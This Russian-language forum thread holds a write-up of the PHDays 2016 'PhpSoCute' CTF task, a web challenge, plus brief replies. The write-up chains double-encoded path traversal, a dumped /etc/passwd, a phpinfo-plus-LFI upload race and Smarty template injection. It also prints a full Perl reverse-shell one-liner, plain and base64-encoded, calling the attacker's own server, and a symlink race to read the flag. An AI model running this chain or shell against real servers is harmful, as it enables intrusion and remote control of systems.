ANTICHAT

ANTICHAT (https://forum.antichat.xyz/index.php)
-   Задания/Квесты/CTF/Конкурсы (https://forum.antichat.xyz/forumdisplay.php?f=112)
-   -   Write-up PHDays 2016 PhpSoCute (https://forum.antichat.xyz/showthread.php?t=440122)

Isis 20.04.2016 01:50

PhpSoCute

http://php.hackquest.phdays.com:88/

Дан какой-то бложек, с виду wordpress.

Доступны урлы: index.php -> index.html, wp-admin.html

Dirbuster нашел pi.php который показывает нам phpinfo.

После некоторого фазинга было понятно, что есть некий include или даже читалка файлов для запросов которые оканчиваются на html

http://php.hackquest.phdays.com:88/pi.php/1html

Такой запрос нам показал интересный параметр PATH_TRANSLATED - redirect:/t3mp473l04d3r.php

При обращении к этому файлу - 500 ошибка, видимо надо передавать какие-то гет параметры чтобы читать файлы, но это нам не нужно.

Пробуем doubleencode

Цитата:

Сообщение от None

(%2569 - i), сработало!

Попробуем опуститься на директорию ниже ..%252f и проитать файл index.php -

Цитата:

Сообщение от None

PHP код:

[COLOR="#000000"][COLOR="#0000BB"][/COLOR][COLOR="#007700"]
[/
COLOR][/COLOR

Удача!

Читаем /etc/passwd

PHP код:

[COLOR="#000000"][COLOR="#0000BB"]root[/COLOR][COLOR="#007700"]:[/COLOR][COLOR="#0000BB"]x[/COLOR][COLOR="#007700"]:[/COLOR][COLOR="#0000BB"]0[/COLOR][COLOR="#007700"]:[/COLOR][COLOR="#0000BB"]0[/COLOR][COLOR="#007700"]:[/COLOR][COLOR="#0000BB"]root[/COLOR][COLOR="#007700"]:/[/COLOR][COLOR="#0000BB"]root[/COLOR][COLOR="#007700"]:/[/COLOR][COLOR="#0000BB"]bin[/COLOR][COLOR="#007700"]/[/COLOR][COLOR="#0000BB"]bash
daemon
[/COLOR][COLOR="#007700"]:[/COLOR][COLOR="#0000BB"]x[/COLOR][COLOR="#007700"]:[/COLOR][COLOR="#0000BB"]1[/COLOR][COLOR="#007700"]:[/COLOR][COLOR="#0000BB"]1[/COLOR][COLOR="#007700"]:[/COLOR][COLOR="#0000BB"]daemon[/COLOR][COLOR="#007700"]:/[/COLOR][COLOR="#0000BB"]usr[/COLOR][COLOR="#007700"]/[/COLOR][COLOR="#0000BB"]sbin[/COLOR][COLOR="#007700"]:/[/COLOR][COLOR="#0000BB"]bin[/COLOR][COLOR="#007700"]/[/COLOR][COLOR="#0000BB"]sh
bin
[/COLOR][COLOR="#007700"]:[/COLOR][COLOR="#0000BB"]x[/COLOR][COLOR="#007700"]:[/COLOR][COLOR="#0000BB"]2[/COLOR][COLOR="#007700"]:[/COLOR][COLOR="#0000BB"]2[/COLOR][COLOR="#007700"]:[/COLOR][COLOR="#0000BB"]bin[/COLOR][COLOR="#007700"]:/[/COLOR][COLOR="#0000BB"]bin[/COLOR][COLOR="#007700"]:/[/COLOR][COLOR="#0000BB"]bin[/COLOR][COLOR="#007700"]/[/COLOR][COLOR="#0000BB"]sh
sys
[/COLOR][COLOR="#007700"]:[/COLOR][COLOR="#0000BB"]x[/COLOR][COLOR="#007700"]:[/COLOR][COLOR="#0000BB"]3[/COLOR][COLOR="#007700"]:[/COLOR][COLOR="#0000BB"]3[/COLOR][COLOR="#007700"]:[/COLOR][COLOR="#0000BB"]sys[/COLOR][COLOR="#007700"]:/[/COLOR][COLOR="#0000BB"]dev[/COLOR][COLOR="#007700"]:/[/COLOR][COLOR="#0000BB"]bin[/COLOR][COLOR="#007700"]/[/COLOR][COLOR="#0000BB"]sh
sync
[/COLOR][COLOR="#007700"]:[/COLOR][COLOR="#0000BB"]x[/COLOR][COLOR="#007700"]:[/COLOR][COLOR="#0000BB"]4[/COLOR][COLOR="#007700"]:[/COLOR][COLOR="#0000BB"]65534[/COLOR][COLOR="#007700"]:[/COLOR][COLOR="#0000BB"]sync[/COLOR][COLOR="#007700"]:/[/COLOR][COLOR="#0000BB"]bin[/COLOR][COLOR="#007700"]:/[/COLOR][COLOR="#0000BB"]bin[/COLOR][COLOR="#007700"]/[/COLOR][COLOR="#0000BB"]sync
games
[/COLOR][COLOR="#007700"]:[/COLOR][COLOR="#0000BB"]x[/COLOR][COLOR="#007700"]:[/COLOR][COLOR="#0000BB"]5[/COLOR][COLOR="#007700"]:[/COLOR][COLOR="#0000BB"]60[/COLOR][COLOR="#007700"]:[/COLOR][COLOR="#0000BB"]games[/COLOR][COLOR="#007700"]:/[/COLOR][COLOR="#0000BB"]usr[/COLOR][COLOR="#007700"]/[/COLOR][COLOR="#0000BB"]games[/COLOR][COLOR="#007700"]:/[/COLOR][COLOR="#0000BB"]bin[/COLOR][COLOR="#007700"]/[/COLOR][COLOR="#0000BB"]sh
man
[/COLOR][COLOR="#007700"]:[/COLOR][COLOR="#0000BB"]x[/COLOR][COLOR="#007700"]:[/COLOR][COLOR="#0000BB"]6[/COLOR][COLOR="#007700"]:[/COLOR][COLOR="#0000BB"]12[/COLOR][COLOR="#007700"]:[/COLOR][COLOR="#0000BB"]man[/COLOR][COLOR="#007700"]:/var/[/COLOR][COLOR="#0000BB"]cache[/COLOR][COLOR="#007700"]/[/COLOR][COLOR="#0000BB"]man[/COLOR][COLOR="#007700"]:/[/COLOR][COLOR="#0000BB"]bin[/COLOR][COLOR="#007700"]/[/COLOR][COLOR="#0000BB"]sh
lp
[/COLOR][COLOR="#007700"]:[/COLOR][COLOR="#0000BB"]x[/COLOR][COLOR="#007700"]:[/COLOR][COLOR="#0000BB"]7[/COLOR][COLOR="#007700"]:[/COLOR][COLOR="#0000BB"]7[/COLOR][COLOR="#007700"]:[/COLOR][COLOR="#0000BB"]lp[/COLOR][COLOR="#007700"]:/var/[/COLOR][COLOR="#0000BB"]spool[/COLOR][COLOR="#007700"]/[/COLOR][COLOR="#0000BB"]lpd[/COLOR][COLOR="#007700"]:/[/COLOR][COLOR="#0000BB"]bin[/COLOR][COLOR="#007700"]/[/COLOR][COLOR="#0000BB"]sh
mail
[/COLOR][COLOR="#007700"]:[/COLOR][COLOR="#0000BB"]x[/COLOR][COLOR="#007700"]:[/COLOR][COLOR="#0000BB"]8[/COLOR][COLOR="#007700"]:[/COLOR][COLOR="#0000BB"]8[/COLOR][COLOR="#007700"]:[/COLOR][COLOR="#0000BB"]mail[/COLOR][COLOR="#007700"]:/var/[/COLOR][COLOR="#0000BB"]mail[/COLOR][COLOR="#007700"]:/[/COLOR][COLOR="#0000BB"]bin[/COLOR][COLOR="#007700"]/[/COLOR][COLOR="#0000BB"]sh
news
[/COLOR][COLOR="#007700"]:[/COLOR][COLOR="#0000BB"]x[/COLOR][COLOR="#007700"]:[/COLOR][COLOR="#0000BB"]9[/COLOR][COLOR="#007700"]:[/COLOR][COLOR="#0000BB"]9[/COLOR][COLOR="#007700"]:[/COLOR][COLOR="#0000BB"]news[/COLOR][COLOR="#007700"]:/var/[/COLOR][COLOR="#0000BB"]spool[/COLOR][COLOR="#007700"]/[/COLOR][COLOR="#0000BB"]news[/COLOR][COLOR="#007700"]:/[/COLOR][COLOR="#0000BB"]bin[/COLOR][COLOR="#007700"]/[/COLOR][COLOR="#0000BB"]sh
uucp
[/COLOR][COLOR="#007700"]:[/COLOR][COLOR="#0000BB"]x[/COLOR][COLOR="#007700"]:[/COLOR][COLOR="#0000BB"]10[/COLOR][COLOR="#007700"]:[/COLOR][COLOR="#0000BB"]10[/COLOR][COLOR="#007700"]:[/COLOR][COLOR="#0000BB"]uucp[/COLOR][COLOR="#007700"]:/var/[/COLOR][COLOR="#0000BB"]spool[/COLOR][COLOR="#007700"]/[/COLOR][COLOR="#0000BB"]uucp[/COLOR][COLOR="#007700"]:/[/COLOR][COLOR="#0000BB"]bin[/COLOR][COLOR="#007700"]/[/COLOR][COLOR="#0000BB"]sh
proxy
[/COLOR][COLOR="#007700"]:[/COLOR][COLOR="#0000BB"]x[/COLOR][COLOR="#007700"]:[/COLOR][COLOR="#0000BB"]13[/COLOR][COLOR="#007700"]:[/COLOR][COLOR="#0000BB"]13[/COLOR][COLOR="#007700"]:[/COLOR][COLOR="#0000BB"]proxy[/COLOR][COLOR="#007700"]:/[/COLOR][COLOR="#0000BB"]bin[/COLOR][COLOR="#007700"]:/[/COLOR][COLOR="#0000BB"]bin[/COLOR][COLOR="#007700"]/[/COLOR][COLOR="#0000BB"]sh
www
[/COLOR][COLOR="#007700"]-[/COLOR][COLOR="#0000BB"]data[/COLOR][COLOR="#007700"]:[/COLOR][COLOR="#0000BB"]x[/COLOR][COLOR="#007700"]:[/COLOR][COLOR="#0000BB"]33[/COLOR][COLOR="#007700"]:[/COLOR][COLOR="#0000BB"]33[/COLOR][COLOR="#007700"]:[/COLOR][COLOR="#0000BB"]www[/COLOR][COLOR="#007700"]-[/COLOR][COLOR="#0000BB"]data[/COLOR][COLOR="#007700"]:/var/[/COLOR][COLOR="#0000BB"]www[/COLOR][COLOR="#007700"]:/[/COLOR][COLOR="#0000BB"]bin[/COLOR][COLOR="#007700"]/[/COLOR][COLOR="#0000BB"]sh
backup
[/COLOR][COLOR="#007700"]:[/COLOR][COLOR="#0000BB"]x[/COLOR][COLOR="#007700"]:[/COLOR][COLOR="#0000BB"]34[/COLOR][COLOR="#007700"]:[/COLOR][COLOR="#0000BB"]34[/COLOR][COLOR="#007700"]:[/COLOR][COLOR="#0000BB"]backup[/COLOR][COLOR="#007700"]:/var/[/COLOR][COLOR="#0000BB"]backups[/COLOR][COLOR="#007700"]:/[/COLOR][COLOR="#0000BB"]bin[/COLOR][COLOR="#007700"]/[/COLOR][COLOR="#0000BB"]sh
[/COLOR][COLOR="#007700"]list:[/COLOR][COLOR="#0000BB"]x[/COLOR][COLOR="#007700"]:[/COLOR][COLOR="#0000BB"]38[/COLOR][COLOR="#007700"]:[/COLOR][COLOR="#0000BB"]38[/COLOR][COLOR="#007700"]:[/COLOR][COLOR="#0000BB"]Mailing[/COLOR][COLOR="#007700"]List[/COLOR][COLOR="#0000BB"]Manager[/COLOR][COLOR="#007700"]:/var/list:/[/COLOR][COLOR="#0000BB"]bin[/COLOR][COLOR="#007700"]/[/COLOR][COLOR="#0000BB"]sh
irc
[/COLOR][COLOR="#007700"]:[/COLOR][COLOR="#0000BB"]x[/COLOR][COLOR="#007700"]:[/COLOR][COLOR="#0000BB"]39[/COLOR][COLOR="#007700"]:[/COLOR][COLOR="#0000BB"]39[/COLOR][COLOR="#007700"]:[/COLOR][COLOR="#0000BB"]ircd[/COLOR][COLOR="#007700"]:/var/[/COLOR][COLOR="#0000BB"]run[/COLOR][COLOR="#007700"]/[/COLOR][COLOR="#0000BB"]ircd[/COLOR][COLOR="#007700"]:/[/COLOR][COLOR="#0000BB"]bin[/COLOR][COLOR="#007700"]/[/COLOR][COLOR="#0000BB"]sh
gnats
[/COLOR][COLOR="#007700"]:[/COLOR][COLOR="#0000BB"]x[/COLOR][COLOR="#007700"]:[/COLOR][COLOR="#0000BB"]41[/COLOR][COLOR="#007700"]:[/COLOR][COLOR="#0000BB"]41[/COLOR][COLOR="#007700"]:[/COLOR][COLOR="#0000BB"]Gnats Bug[/COLOR][COLOR="#007700"]-[/COLOR][COLOR="#0000BB"]Reporting System[/COLOR][COLOR="#007700"]([/COLOR][COLOR="#0000BB"]admin[/COLOR][COLOR="#007700"]):/var/[/COLOR][COLOR="#0000BB"]lib[/COLOR][COLOR="#007700"]/[/COLOR][COLOR="#0000BB"]gnats[/COLOR][COLOR="#007700"]:/[/COLOR][COLOR="#0000BB"]bin[/COLOR][COLOR="#007700"]/[/COLOR][COLOR="#0000BB"]sh
nobody
[/COLOR][COLOR="#007700"]:[/COLOR][COLOR="#0000BB"]x[/COLOR][COLOR="#007700"]:[/COLOR][COLOR="#0000BB"]65534[/COLOR][COLOR="#007700"]:[/COLOR][COLOR="#0000BB"]65534[/COLOR][COLOR="#007700"]:[/COLOR][COLOR="#0000BB"]nobody[/COLOR][COLOR="#007700"]:/[/COLOR][COLOR="#0000BB"]nonexistent[/COLOR][COLOR="#007700"]:/[/COLOR][COLOR="#0000BB"]bin[/COLOR][COLOR="#007700"]/[/COLOR][COLOR="#0000BB"]sh
libuuid
[/COLOR][COLOR="#007700"]:[/COLOR][COLOR="#0000BB"]x[/COLOR][COLOR="#007700"]:[/COLOR][COLOR="#0000BB"]100[/COLOR][COLOR="#007700"]:[/COLOR][COLOR="#0000BB"]101[/COLOR][COLOR="#007700"]::/var/[/COLOR][COLOR="#0000BB"]lib[/COLOR][COLOR="#007700"]/[/COLOR][COLOR="#0000BB"]libuuid[/COLOR][COLOR="#007700"]:/[/COLOR][COLOR="#0000BB"]bin[/COLOR][COLOR="#007700"]/[/COLOR][COLOR="#0000BB"]sh
flag
[/COLOR][COLOR="#007700"]:[/COLOR][COLOR="#0000BB"]x[/COLOR][COLOR="#007700"]:[/COLOR][COLOR="#0000BB"]101[/COLOR][COLOR="#007700"]:[/COLOR][COLOR="#0000BB"]65534[/COLOR][COLOR="#007700"]::/[/COLOR][COLOR="#0000BB"]home[/COLOR][COLOR="#007700"]/[/COLOR][COLOR="#0000BB"]flag[/COLOR][COLOR="#007700"]:/[/COLOR][COLOR="#0000BB"]bin[/COLOR][COLOR="#007700"]/[/COLOR][COLOR="#0000BB"]false[/COLOR][/COLOR

Прочитать файл t3mp473l04d3r.php по пока непонятным причинам не удалось.

О, у нас есть phpinfo и lfi. так это же баг!

Суть вот в чем: нам надо послать какой-то файл на pi.php, pi.php выдаст нам массив $_FILES где будет указан временный путь куда загрузился наш файл вида /tmp/ololo

В это время нам надо проинклудить наш файл через lfi.

Проблема 1: Загруженный файл в /tmp доступен 20-30 секунд пока мы держим открытым сокет, но этого достаточно чтобы выполнить инклуд.

ПРоблема 2: Сайт работает на 2х нодах (2 разных виртуалки), т.е. файл мы можем загрузить в одну, а читать с другой. Решается реферешем страницы инклуда.

Для загрузки файла я использовал перл скрипт от Pashkela, но немного подифицировал: https://gist.github.com/firsov/52a24...2c654971e83f1c

Содержимое файла указывается в $phpcode, немного пофазил это значение и понял, что это template injection.

Usage: perl php.pl http://php.hackquest.phdays.com:88/pi.php

PHP код:

[COLOR="#000000"][COLOR="#0000BB"]$phpcode[/COLOR][COLOR="#007700"]=[/COLOR][COLOR="#DD0000"]'{var_dump(124)}'[/COLOR][COLOR="#007700"];
[/
COLOR][/COLOR

http://hsto.org/files/2c3/b4b/987/2c...4b895fc1e7.png

Не обращаем внимания на ошибки - просто копируем строку

и вставляем в браузер.

Смотрим view-souce и видим:

Цитата:

Сообщение от None

int(124)


Отлично! php код выполняется.

Дальше я загнал перловый backconnect shell в base64

PHP код:

[COLOR="#000000"][COLOR="#0000BB"]perl[/COLOR][COLOR="#007700"]-[/COLOR][COLOR="#0000BB"]e[/COLOR][COLOR="#DD0000"]'use Socket;$i="127.0.0.MYSERVERIP";$p=4000;socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"));if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,">&S");open(STDOUT,">&S");open(STDERR,">&S");exec("/bin/sh -i");};'[/COLOR][/COLOR

И проинклудил такую строку:

Цитата:

Сообщение от None
$phpcode = '{var_dump(system(base64_decode("cGVybCAtZSAndXNlI FNvY2tldDskaT0iMTI3LjAuMC5NWVNFUlZFUklQIjskcD00MDA wO3NvY2tldChTLFBGX0lORVQsU09DS19TVFJFQU0sZ2V0cHJvd G9ieW5hbWUoInRjcCIpKTtpZihjb25uZWN0KFMsc29ja2FkZHJ faW4oJHAsaW5ldF9hdG9uKCRpKSkpKXtvcGVuKFNURElOLCI+J lMiKTtvcGVuKFNURE9VVCwiPiZTIik7b3BlbihTVERFUlIsIj4 mUyIpO2V4ZWMoIi9iaW4vc2ggLWkiKTt9Oyc=")))}';

Тем временем на своем сервере у меня запущена команда nc -nlvkp 4000

На сервере увидел коннект с уязвимого хоста и ура, шелл есть.

http://hsto.org/files/832/007/2aa/83...d485f614ee.png

ls -la /

http://hsto.org/files/ad3/bc3/753/ad...1c9f823694.png

Здесь видно 2 файла от юзера flag: /binary и /flag

Прочитать нельзя.

Пробуем выполнить команду /binary flag - получаем ошибку.

Что же делать? Попробуем сделать symlink race condition

Запустим еще один терминал с этим сервером.

[Дальше будет без скринов и команды по памяти т.к. сервера уже недоступны]

В одном терминале запускаем /binary /tmp/lala в цикле

В другом терминале в цикле rm /tmp/lala; ln -s /flag /tmp/lala; rm /tmp/lala; echo azaza > /tmp/lala;

И получаем флаг.

За помощь спасибо mailbrush, yarbabin.

DarkCaT 20.04.2016 01:56

ПРосто шедеврально)

MERRON 20.04.2016 01:56

Цитата:

Сообщение от Isis

Читаем /etc/passwd

Это было внезапно

Ch3ck 20.04.2016 16:46

Понаехали тут...

Zen1T21 20.04.2016 21:54

А кто-ниб из форумчан участвовал в прошедшем RuCTF?

shell_c0de 22.04.2016 01:48

Шикарно!

оlbaneс 22.04.2016 20:28

Изя, а помнишь как в болталке тебя отаковали? Ну, когда ник еще желтым был? Ну и чего там в зеленом доле? Поди сиськи друг другу показываете?

23napster23 23.04.2016 23:46

А lfi заключается в том, что мы можем читать содержимое любого файла или файл добавляется, когда мы обращаемся к pi.php ?

Цитата:

Сообщение от Isis

Содержимое файла указывается в $phpcode, немного пофазил это значение и понял, что это template injection.

Это в каком файле вы обнаружили template inj. ?

Isis 24.04.2016 01:28

Цитата:

Сообщение от 23napster23

А lfi заключается в том, что мы можем читать содержимое любого файла или файл добавляется, когда мы обращаемся к pi.php ?
Это в каком файле вы обнаружили template inj. ?

t3mp473l04d3r.php

там smarty->fetch вызывался

Alexandr II 24.04.2016 13:55

Цитата:

Сообщение от оlbaneс

Изя, а помнишь как в болталке тебя отаковали? Ну, когда ник еще желтым был? Ну и чего там в зеленом доле? Поди сиськи друг другу показываете?

в строй возвращаются старички

по теме +


Время: 19:00